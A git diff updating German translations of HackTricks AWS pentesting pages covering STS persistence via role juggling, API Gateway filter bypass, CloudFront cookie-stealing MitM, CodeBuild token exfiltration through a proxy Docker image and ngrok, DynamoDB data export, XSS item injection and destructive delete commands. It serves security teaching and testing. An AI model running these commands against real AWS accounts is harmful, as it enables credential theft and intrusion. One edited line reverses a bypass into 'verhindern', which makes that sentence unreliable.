a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 786bd4d09..8fc13bd25 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -1,4 +1,4 @@ -# AWS - STS Persistence +# AWS - STS Persistenz {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ Für weitere Informationen zugreifen: ### Assume role token -Temporäre Tokens können nicht aufgelistet werden, daher ist das Halten eines aktiven temporären Tokens eine Möglichkeit, Persistenz aufrechtzuerhalten. +Temporäre Tokens können nicht aufgelistet werden, daher ist das Beibehalten eines aktiven temporären Tokens eine Möglichkeit, Persistenz aufrechtzuerhalten.
aws sts get-session-token --duration-seconds 129600
 
@@ -22,13 +22,13 @@ aws sts get-session-token \
 --token-code <code-from-token>
 
 # Der Name des Hardwaregeräts ist normalerweise die Nummer auf der Rückseite des Geräts, wie GAHT12345678
-# Der SMS-Gerätename ist die ARN in AWS, wie arn:aws:iam::123456789012:sms-mfa/benutzername
-# Der virtuelle Gerätename ist die ARN in AWS, wie arn:aws:iam::123456789012:mfa/benutzername
+# Der Name des SMS-Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:sms-mfa/benutzername
+# Der Name des virtuellen Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:mfa/benutzername
 
### Role Chain Juggling -[**Role Chaining ist ein anerkanntes AWS-Feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), das häufig zur Aufrechterhaltung von Stealth-Persistenz verwendet wird. Es beinhaltet die Fähigkeit, **eine Rolle zu übernehmen, die dann eine andere übernimmt**, was potenziell zur ursprünglichen Rolle in einer **zyklischen Weise** zurückkehrt. Jedes Mal, wenn eine Rolle übernommen wird, wird das Ablaufdatum der Anmeldeinformationen aktualisiert. Folglich, wenn zwei Rollen so konfiguriert sind, dass sie sich gegenseitig übernehmen, ermöglicht dieses Setup die ständige Erneuerung der Anmeldeinformationen. +[**Role Chaining ist ein anerkanntes AWS-Feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), das häufig zur Aufrechterhaltung von Stealth-Persistenz genutzt wird. Es beinhaltet die Fähigkeit, **eine Rolle zu übernehmen, die dann eine andere übernimmt**, was potenziell zur ursprünglichen Rolle in einer **zyklischen Weise** zurückkehrt. Jedes Mal, wenn eine Rolle übernommen wird, wird das Ablaufdatum der Anmeldeinformationen aktualisiert. Folglich, wenn zwei Rollen so konfiguriert sind, dass sie sich gegenseitig übernehmen, ermöglicht dieses Setup die ständige Erneuerung der Anmeldeinformationen. Sie können dieses [**Tool**](https://github.com/hotnops/AWSRoleJuggler/) verwenden, um das Role Chaining aufrechtzuerhalten: ```bash @@ -44,7 +44,7 @@ optional arguments:
-Code zum Durchführen von Role Juggling aus PowerShell +Code zur Durchführung von Role Juggling aus PowerShell ```powershell # PowerShell script to check for role juggling possibilities using AWS CLI diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 029e20040..9d8ffb7d0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -15,18 +15,18 @@ Für weitere Informationen siehe: Sie können einen Endpunkt in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) mit dem Dienst `com.amazonaws.us-east-1.execute-api` erstellen, den Endpunkt in einem Netzwerk exponieren, auf das Sie Zugriff haben (möglicherweise über eine EC2-Maschine) und eine Sicherheitsgruppe zuweisen, die alle Verbindungen erlaubt.\ Dann können Sie von der EC2-Maschine aus auf den Endpunkt zugreifen und somit die Gateway-API aufrufen, die zuvor nicht exponiert war. -### Umgehung des Request-Body-Passthrough +### Umgehung des Request-Body-Passthroughs Diese Technik wurde in [**diesem CTF-Bericht**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) gefunden. Wie in der [**AWS-Dokumentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) im Abschnitt `PassthroughBehavior` angegeben, wird standardmäßig der Wert **`WHEN_NO_MATCH`**, beim Überprüfen des **Content-Type**-Headers der Anfrage, die Anfrage ohne Transformation an das Backend weiterleiten. -Daher hatte im CTF das API Gateway eine Integrationsvorlage, die **verhindert hat, dass das Flag in einer Antwort exfiltriert wird**, wenn eine Anfrage mit `Content-Type: application/json` gesendet wurde: +Daher hatte im CTF das API Gateway eine Integrationsvorlage, die **verhindert hat, dass die Flagge in einer Antwort exfiltriert wird**, wenn eine Anfrage mit `Content-Type: application/json` gesendet wurde: ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` -Allerdings würde das Senden einer Anfrage mit **`Content-type: text/json`** diesen Filter umgehen. +Allerdings würde das Senden einer Anfrage mit **`Content-type: text/json`** diesen Filter verhindern. Schließlich, da das API Gateway nur `Get` und `Options` erlaubte, war es möglich, eine beliebige dynamoDB-Abfrage ohne Einschränkung zu senden, indem man eine POST-Anfrage mit der Abfrage im Body und dem Header `X-HTTP-Method-Override: GET` verwendete: ```bash @@ -36,11 +36,11 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers Im Abschnitt **Enumeration** sehen Sie, wie Sie den **Nutzungsplan** der Schlüssel **erhalten** können. Wenn Sie den Schlüssel haben und er auf X Nutzungen **pro Monat** **beschränkt** ist, könnten Sie ihn **einfach verwenden und einen DoS verursachen**. -Der **API-Schlüssel** muss nur in einem **HTTP-Header** namens **`x-api-key`** **eingeschlossen** werden. +Der **API Key** muss nur in einem **HTTP-Header** namens **`x-api-key`** **eingeschlossen** werden. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -Ein Angreifer mit den Berechtigungen `apigateway:UpdateGatewayResponse` und `apigateway:CreateDeployment` kann eine **bestehende Gateway-Antwort ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen leaken oder bösartige Skripte ausführen**. +Ein Angreifer mit den Berechtigungen `apigateway:UpdateGatewayResponse` und `apigateway:CreateDeployment` kann **eine vorhandene Gateway-Antwort ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen leaken oder bösartige Skripte ausführen**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -71,8 +71,8 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Potenzielle Auswirkungen**: Unbefugter Zugriff auf zwischengespeicherte Daten, Störung oder Abfangen von API-Verkehr. -> [!NOTE] -> Muss getestet werden +> [!HINWEIS] +> Testen erforderlich ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` @@ -89,7 +89,7 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potenzielle Auswirkungen**: Leck von sensiblen Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen. +**Potenzielle Auswirkungen**: Leckage sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen. > [!NOTE] > Muss getestet werden @@ -113,7 +113,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -Ein Angreifer mit den Berechtigungen `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` und `apigateway:CreateUsagePlanKey` kann **neue API-Schlüssel erstellen, sie mit Nutzungstarifen verknüpfen und diese Schlüssel dann für unbefugten Zugriff auf APIs verwenden**. +Ein Angreifer mit den Berechtigungen `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` und `apigateway:CreateUsagePlanKey` kann **neue API-Schlüssel erstellen, diese mit Nutzungstarifen verknüpfen und dann diese Schlüssel für unbefugten Zugriff auf APIs verwenden**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -127,6 +127,6 @@ aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_K **Potenzielle Auswirkungen**: Unbefugter Zugriff auf API-Ressourcen, Umgehung von Sicherheitskontrollen. > [!HINWEIS] -> Testen erforderlich +> Test erforderlich {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 2184dc66d..24de074f3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -12,12 +12,12 @@ Für weitere Informationen siehe: ### Man-in-the-Middle -Dieser [**Blogbeitrag**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt einige verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder modifiziert, wenn sie bereits verwendet wird) werden könnte, um eine **Kommunikation über CloudFront** mit dem Ziel zu **stehlen** von Benutzerinformationen (wie dem Sitzungs-**Cookie**) und **modifizieren** der **Antwort** (einfügen eines bösartigen JS-Skripts). +Dieser [**Blogbeitrag**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt einige verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder modifiziert, wenn sie bereits verwendet wird) werden könnte, um eine **Kommunikation über CloudFront** mit dem Ziel des **Diebstahls** von Benutzerinformationen (wie dem Sitzungs-**Cookie**) und der **Modifizierung** der **Antwort** (Einfügen eines bösartigen JS-Skripts) zu ermöglichen. -#### Szenario 1: MitM, bei dem CloudFront so konfiguriert ist, dass es auf einige HTML eines Buckets zugreift +#### Szenario 1: MitM, bei dem CloudFront so konfiguriert ist, dass es auf einige HTML-Dateien eines Buckets zugreift - **Erstelle** die bösartige **Funktion**. -- **Verknüpfe** sie mit der CloudFront-Distribution. +- **Assoziiere** sie mit der CloudFront-Distribution. - Setze den **Ereignistyp auf "Viewer Response"**. Durch den Zugriff auf die Antwort könntest du das Cookie der Benutzer stehlen und ein bösartiges JS injizieren. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index b62822fa9..5f342e5ce 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -12,7 +12,7 @@ Für weitere Informationen, siehe: ### Überprüfen von Geheimnissen -Wenn Anmeldeinformationen in Codebuild festgelegt wurden, um sich mit Github, Gitlab oder Bitbucket in Form von persönlichen Tokens, Passwörtern oder OAuth-Token-Zugriff zu verbinden, werden diese **Anmeldeinformationen als Geheimnisse im Geheimnismanager gespeichert**.\ +Wenn Anmeldeinformationen in Codebuild festgelegt wurden, um sich mit Github, Gitlab oder Bitbucket in Form von persönlichen Tokens, Passwörtern oder OAuth-Token-Zugriff zu verbinden, **werden diese Anmeldeinformationen als Geheimnisse im Geheimnismanager gespeichert**.\ Daher, wenn Sie Zugriff auf den Geheimnismanager haben, können Sie diese Geheimnisse abrufen und zu der verbundenen Plattform pivotieren. {{#ref}} @@ -25,7 +25,7 @@ Um **CodeBuild** zu konfigurieren, benötigt es **Zugriff auf das Code-Repo**, d
-Das **CodeBuild-Projekt muss Zugriff** auf den konfigurierten Quellanbieter haben, entweder über **IAM-Rolle** oder mit einem github/bitbucket **Token oder OAuth-Zugriff**. +Das **CodeBuild-Projekt muss Zugriff** auf den konfigurierten Quellanbieter haben, entweder über **IAM-Rolle** oder mit einem Github/Bitbucket **Token oder OAuth-Zugriff**. Ein Angreifer mit **erhöhten Berechtigungen in einem CodeBuild** könnte diesen konfigurierten Zugriff missbrauchen, um den Code des konfigurierten Repos und anderer, auf die die festgelegten Anmeldeinformationen Zugriff haben, zu leaken.\ Um dies zu tun, müsste ein Angreifer nur die **Repository-URL auf jedes Repo ändern, auf das die konfigurierten Anmeldeinformationen Zugriff haben** (beachten Sie, dass die AWS-Webseite alle für Sie auflistet): @@ -35,7 +35,7 @@ Um dies zu tun, müsste ein Angreifer nur die **Repository-URL auf jedes Repo ä Und **die Buildspec-Befehle ändern, um jedes Repo zu exfiltrieren**. > [!WARNING] -> Diese **Aufgabe ist jedoch repetitiv und mühsam** und wenn ein Github-Token mit **Schreibberechtigungen** konfiguriert wurde, kann ein Angreifer **diese Berechtigungen nicht (miss)brauchen**, da er keinen Zugriff auf das Token hat.\ +> Diese **Aufgabe ist jedoch repetitiv und mühsam** und wenn ein Github-Token mit **Schreibberechtigungen** konfiguriert wurde, **kann ein Angreifer diese Berechtigungen nicht (miss)brauchen**, da er keinen Zugriff auf das Token hat.\ > Oder doch? Überprüfen Sie den nächsten Abschnitt ### Zugriffstoken von AWS CodeBuild leaken @@ -50,7 +50,7 @@ aws-codebuild-token-leakage.md ### `codebuild:DeleteProject` -Ein Angreifer könnte ein gesamtes CodeBuild-Projekt löschen, was zum Verlust der Projektkonfiguration führt und Anwendungen beeinträchtigt, die auf das Projekt angewiesen sind. +Ein Angreifer könnte ein gesamtes CodeBuild-Projekt löschen, was zu einem Verlust der Projektkonfiguration führt und Anwendungen beeinträchtigt, die auf das Projekt angewiesen sind. ```bash aws codebuild delete-project --name ``` @@ -58,12 +58,12 @@ aws codebuild delete-project --name ### `codebuild:TagResource` , `codebuild:UntagResource` -Ein Angreifer könnte Tags von CodeBuild-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenverteilung, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde. +Ein Angreifer könnte Tags von CodeBuild-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` -**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcennachverfolgung und tagbasierter Zugriffskontrollrichtlinien. +**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien. ### `codebuild:DeleteSourceCredentials` @@ -71,6 +71,6 @@ Ein Angreifer könnte die Quellanmeldeinformationen für ein Git-Repository lös ```sql aws codebuild delete-source-credentials --arn ``` -**Potenzielle Auswirkungen**: Störung der normalen Funktionalität von Anwendungen, die auf das betroffene Repository angewiesen sind, aufgrund der Entfernung von Quellanmeldeinformationen. +**Potenzielle Auswirkungen**: Störung der normalen Funktion von Anwendungen, die auf das betroffene Repository angewiesen sind, aufgrund der Entfernung von Quellanmeldeinformationen. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 873e95742..1b25cf6a5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -4,30 +4,30 @@ ## Wiederherstellen von Github/Bitbucket konfigurierten Tokens -Zuerst überprüfen Sie, ob es Quellanmeldeinformationen gibt, die Sie möglicherweise leaken könnten: +Zuerst überprüfen, ob es Quellanmeldeinformationen gibt, die Sie leaken könnten: ```bash aws codebuild list-source-credentials ``` -### Via Docker-Image +### Via Docker Image -Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto eingestellt ist, können Sie **exfiltrieren** diesen **Zugang** (**GH-Token oder OAuth-Token**), indem Sie Codebuild dazu bringen, ein **bestimmtes Docker-Image** zu verwenden, um den Build des Projekts auszuführen. +Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto festgelegt ist, können Sie **exfiltrieren** diesen **Zugang** (**GH-Token oder OAuth-Token**), indem Sie Codebuild dazu bringen, ein **bestimmtes Docker-Image** zu verwenden, um den Build des Projekts auszuführen. Zu diesem Zweck könnten Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines bestehenden ändern, um das **Docker-Image** festzulegen. Das Docker-Image, das Sie verwenden könnten, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die **Umgebungsvariablen `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** festlegt. Dies ermöglicht es Ihnen, den Großteil des Traffics des im **`https_proxy`** und **`http_proxy`** angegebenen Hosts abzufangen und das in **`SSL_CERT_FILE`** angegebene SSL-Zertifikat zu vertrauen. 1. **Erstellen und Hochladen Ihres eigenen Docker MitM-Images** -- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat einzustellen und **das Docker-Image zu erstellen**. +- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat zu setzen und **das Docker-Image zu erstellen**. - **SETZEN SIE NICHT `http_proxy`**, um keine Anfragen an den Metadaten-Endpunkt abzufangen. -- Sie könnten **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy zu Ihrem Host festzulegen. -- Sobald Sie das Docker-Image erstellt haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...). +- Sie könnten **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy auf Ihren Host zu setzen. +- Sobald Sie das Docker-Image erstellt haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...) 2. **Umgebung festlegen** - Erstellen Sie ein **neues Codebuild-Projekt** oder **ändern** Sie die Umgebung eines bestehenden. - Stellen Sie das Projekt so ein, dass es das **zuvor generierte Docker-Image** verwendet.
-3. **Setzen Sie den MitM-Proxy in Ihrem Host** +3. **Setzen Sie den MitM-Proxy auf Ihrem Host** - Wie im **Github-Repo** angegeben, könnten Sie etwas wie Folgendes verwenden: ```bash @@ -80,8 +80,8 @@ Wenn Sie dies aktivieren, kann Codebuild sich mit dem Repository **verbinden, oh ```bash aws codebuild batch-get-projects --name ``` -- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachte das **`insecureSsl=True`** am Ende (das ist das einzige, was du von der gesammelten Konfiguration ändern musst). -- Außerdem füge auch die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf dein tcp ngrok zeigen, wie: +- Dann können Sie mit den gesammelten Informationen die Projekteinstellungen **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachten Sie das **`insecureSsl=True`** am Ende (das ist das einzige, was Sie aus der gesammelten Konfiguration ändern müssen). +- Fügen Sie außerdem die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf Ihr tcp ngrok zeigen, wie: ```bash aws codebuild update-project --name \ --source '{ @@ -132,7 +132,7 @@ mitm.run()
-### ~~Über das HTTP-Protokoll~~ +### ~~Via HTTP-Protokoll~~ > [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 (ich glaube am Freitag) behoben. Ein Angreifer kann sie also nicht mehr ausnutzen :)** @@ -145,7 +145,7 @@ Ein Angreifer mit **erhöhten Berechtigungen in über einem CodeBuild könnte da
- Dann ändern Sie die URL des Github-Repos, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: `http://github.com/carlospolop-forks/TestActions` -- Dann führen Sie das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen. +- Dann führen Sie das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der von den Proxy-Variablen (http_proxy und https_proxy) angegeben wird. ```python from mitm import MITM, protocol, middleware, crypto @@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Klicken Sie als Nächstes auf **Build the project** oder starten Sie den Build über die Befehlszeile: +- Klicken Sie als Nächstes auf **Projekt erstellen** oder starten Sie den Build über die Befehlszeile: ```sh aws codebuild start-build --project-name ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index a98483688..87b05ac6c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -8,7 +8,7 @@ ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### Aktivieren / Deaktivieren von Kontrollen +### Kontrollen aktivieren / deaktivieren Um ein Konto weiter auszunutzen, müssen Sie möglicherweise die Kontrollen von Control Tower deaktivieren/aktivieren: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index 112eb7483..0bad010bb 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -12,7 +12,7 @@ Zunächst wird ein Befehl verwendet, um Informationen zu Volumes zu sammeln, wie `aws ec2 describe-volumes` -Zweitens wird die Lebenszyklusrichtlinie erstellt. Dieser Befehl verwendet die DLM-API, um eine Lebenszyklusrichtlinie einzurichten, die automatisch täglich Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Es werden auch spezifische Tags auf die Snapshots angewendet und Tags von den Volumes auf die Snapshots kopiert. Die policyDetails.json-Datei enthält die Einzelheiten der Lebenszyklusrichtlinie, wie Ziel-Tags, Zeitplan, die ARN des optionalen KMS-Schlüssels zur Verschlüsselung und das Zielkonto für die Snapshot-Freigabe, das in den CloudTrail-Protokollen des Opfers aufgezeichnet wird. +Zweitens wird die Lebenszyklusrichtlinie erstellt. Dieser Befehl verwendet die DLM-API, um eine Lebenszyklusrichtlinie einzurichten, die automatisch tägliche Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Es werden auch spezifische Tags auf die Snapshots angewendet und Tags von den Volumes auf die Snapshots kopiert. Die policyDetails.json-Datei enthält die Einzelheiten der Lebenszyklusrichtlinie, wie z.B. Ziel-Tags, Zeitplan, die ARN des optionalen KMS-Schlüssels zur Verschlüsselung und das Zielkonto für die Snapshot-Freigabe, die in den CloudTrail-Protokollen des Opfers aufgezeichnet werden. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index c818092f0..2e3471e18 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -12,7 +12,7 @@ Für weitere Informationen siehe: ### `dynamodb:BatchGetItem` -Ein Angreifer mit diesen Berechtigungen kann **Elemente aus Tabellen anhand des Primärschlüssels abrufen** (man kann nicht einfach nach allen Daten der Tabelle fragen). Das bedeutet, dass man die Primärschlüssel kennen muss (man kann dies erhalten, indem man die Tabellenmetadaten abruft (`describe-table`). +Ein Angreifer mit diesen Berechtigungen kann **Elemente aus Tabellen anhand des Primärschlüssels abrufen** (man kann nicht einfach nach allen Daten der Tabelle fragen). Das bedeutet, dass man die Primärschlüssel kennen muss (man kann dies durch Abrufen der Tabellenmetadaten (`describe-table`) erhalten). {{#tabs }} {{#tab name="json file" }} @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Mit dieser Berechtigung ist es auch möglich, die **`transact-get-items`**-Methode wie folgt zu verwenden: +Mit dieser Berechtigung ist es auch möglich, die **`transact-get-items`** Methode wie folgt zu verwenden: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch Auffinden sensibler Informationen in der Tabelle +**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen in der Tabelle ### `dynamodb:Query` -**Ähnlich wie die vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist. Es erlaubt die Verwendung eines [Teilsets von Vergleichen](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige Vergleich, der mit dem Primärschlüssel (der erscheinen muss) erlaubt ist, ist "EQ", sodass Sie keinen Vergleich verwenden können, um die gesamte DB in einer Anfrage abzurufen. +**Ähnlich wie die vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist. Es erlaubt die Verwendung einer [Teilmenge von Vergleichen](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige erlaubte Vergleich mit dem Primärschlüssel (der erscheinen muss) ist "EQ", sodass Sie keinen Vergleich verwenden können, um die gesamte DB in einer Anfrage abzurufen. {{#tabs }} {{#tab name="json file" }} @@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Beachten Sie, dass für dies die Tabelle die Punkt-in-Zeit-Wiederherstellung aktiviert haben muss. Sie können überprüfen, ob die Tabelle dies hat mit: +Beachten Sie, dass für das Funktionieren dies die Punkt-in-Zeit-Wiederherstellung für die Tabelle aktiviert sein muss. Sie können überprüfen, ob die Tabelle dies hat mit: ```bash aws dynamodb describe-continuous-backups \ --table-name @@ -159,7 +159,7 @@ aws dynamodb update-continuous-backups \ ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Mit diesen Berechtigungen wäre ein Angreifer in der Lage, **eine neue Tabelle aus einem Backup zu erstellen** (oder sogar ein Backup zu erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Dann könnte er, mit den notwendigen Berechtigungen, **Informationen** aus den Backups überprüfen, die **nicht mehr in der Produktion** Tabelle sein könnten. +Mit diesen Berechtigungen wäre ein Angreifer in der Lage, **eine neue Tabelle aus einem Backup zu erstellen** (oder sogar ein Backup zu erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Dann könnte er, mit den notwendigen Berechtigungen, **Informationen** aus den Backups überprüfen, die **nicht mehr in der Produktion** Tabelle vorhanden sein könnten. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ @@ -173,7 +173,7 @@ aws dynamodb restore-table-from-backup \ Diese Berechtigung erlaubt es Benutzern, ein **neues Element zur Tabelle hinzuzufügen oder ein vorhandenes Element** durch ein neues Element zu ersetzen. Wenn ein Element mit dem gleichen Primärschlüssel bereits existiert, wird das **gesamte Element durch das neue Element ersetzt**. Wenn der Primärschlüssel nicht existiert, wird ein neues Element mit dem angegebenen Primärschlüssel **erstellt**. {{#tabs }} -{{#tab name="XSS Beispiel" }} +{{#tab name="XSS Example" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json @@ -206,7 +206,7 @@ aws dynamodb put-item \ ### `dynamodb:UpdateItem` -Diese Berechtigung ermöglicht es Benutzern, **die vorhandenen Attribute eines Elements zu ändern oder neue Attribute zu einem Element hinzuzufügen**. Es **ersetzt nicht** das gesamte Element; es aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle vorhanden ist, wird die Operation **ein neues Element erstellen** mit dem angegebenen Primärschlüssel und die im Aktualisierungsausdruck angegebenen Attribute festlegen. +Diese Berechtigung ermöglicht es Benutzern, **die vorhandenen Attribute eines Elements zu ändern oder neue Attribute zu einem Element hinzuzufügen**. Es **ersetzt nicht** das gesamte Element; es aktualisiert 